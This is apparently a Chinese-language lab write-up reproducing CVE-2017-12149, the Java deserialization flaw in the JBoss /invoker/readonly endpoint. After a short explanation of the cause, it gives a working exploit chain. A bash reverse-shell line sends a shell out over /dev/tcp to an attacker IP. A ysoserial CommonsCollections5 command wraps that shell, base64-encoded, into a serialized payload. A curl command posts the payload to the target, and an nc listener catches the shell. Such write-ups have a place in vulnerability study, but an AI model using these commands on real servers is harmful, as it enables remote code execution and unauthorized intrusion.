CVE-2017-12149
1 漏洞原因
官话:
该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列,jboss中 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化
简话:
(1) jboss 5.x或者6.x这个版本存在反序列化漏洞,至于什么叫反序列化漏洞,序列化是java对象转换成字节序列,是一个化零为整的过程,反序列化是重新把字节序列变成java对象。我们利用这个转换过程中加入一点东西。
(2) 在jboss这个中间件中,由jboss的ReadOnly AccessFilter 过滤器具体执行这个反序列化动作,他没有任何检查。
(3) 我们可以利用post请求,给 /invoker/readonly 发送请求,post内容中包含我们的bash反弹的序列化数据,具体由ysoserial生成一个poc.ser
2 漏洞复现
(1)使用在线工具转换下这条命令,其中的ip地址是kali,这里我们使用nc反弹shell
不过这里需要变成java语言,在线工具
http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >&/dev/tcp/192.168.43.208/9999 0>&1
(2)java的ysoserial 生成序列化数据
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210511184554441.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80ODc3NjgwNA ==,size_16,color_FFFFFF,t_70)
java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMjA4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > shell.ser
(3) curl发给 /invoker/readonly接口
curl http://192.168.43.127:8080/invoker/readonly --data-binary @shell.ser
上面那个/invoke,少输了一个r,是错误示范,第二个才是正确的
(4)kali开启监听,并接受shell
nc -lvnp 9999